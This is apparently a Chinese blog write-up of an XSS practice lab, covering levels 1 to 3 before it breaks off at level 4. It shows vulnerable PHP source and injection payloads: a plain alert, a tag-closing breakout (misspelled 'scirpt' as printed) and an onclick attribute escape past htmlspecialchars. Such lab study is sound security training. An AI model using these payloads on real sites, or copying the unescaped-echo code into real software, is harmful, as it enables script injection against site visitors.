xss绕过尖括号和双括号_XSS过关wp(未完待续,目前13)

1.LEVEL 1

d5ea4b75b509f0c1dc22c14f470f6128.png

审计源码:

e14b08d241ac318dd984dd8c18da8de8.png

注意这几行:

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

GET方式传送一个参数name ,然后直接拼接echo

所以给name直接传个最简单的xss弹窗即可:

0a96470ac7ca9837adb96cab00a814c2.png

2.LEVEL2 :搜索框bypass

5b4ae0282976698db8843eea37aca0cf.png

看url猜想一下应该和上面一题类似,不过:

1acca996782690f749ce39ddceb9eee1.png

审计源码:

0fa6bf9922debfb76c28ac486c2cb396.png

发现与level1相比,多了一个函数htmlspecialchars()。

查手册:

cd9d2d82843249c924cd78c43ff20dd6.png

也就是<,>,双引号等这些都用不了,会被echo直接当实体输出。不能再用echo构造弹框了。

继续看源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

可以看到,input标签里的value没过滤:

<input name=keyword  value="'.$str.'">

类似闭合sql语句,直接给value传:"><scirpt>alert(1)</scirpt>

这样前面的“>闭合掉了input,且value为空。

即:<input name=keyword value=""><scirpt>alert(1)</scirpt>">

*:注意双引号是英文双引号。

**:其实也可以echo一些不用标签的xss语句。例如js的事件onclick()等。

e7758cf323ff38f114ee805b53b224da.png

3.LEVEL3

a8ac7ae963e62aaa3cdb5343e4fc943e.png

测试一下:

8cc636ccb97c09270ade2613030d224d.png

审计源码:

53c9b5b684dbbbfd2e2f476203e1ddb7.png

这回没空子钻了,input里面也被过滤了。老老实实过这个函数把。

上面提到了,js事件:

66f8dc5e93822622ca7cf6980676eaae.png

看一下代码:

<input name=keyword  value='".htmlspecialchars($str)."'>

思路类似:先单引号闭合value,然后我们用个js事件来构造xss,这里以鼠标点击事件onclick()为例子:

payload: ' οnclick='alert(1)

注意οnclick=后面的单引号,这样构造的html语句才完整

<input name=keyword value='' οnclick='alert(1)'>

传参后,点击一下搜索框,通过:

0eddfe37b9b0ee0e2845c04b570ffa56.png

4.LEVEL 4

2c5194418294167eb33c5c557f2ce5a2.png

审计源码:

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值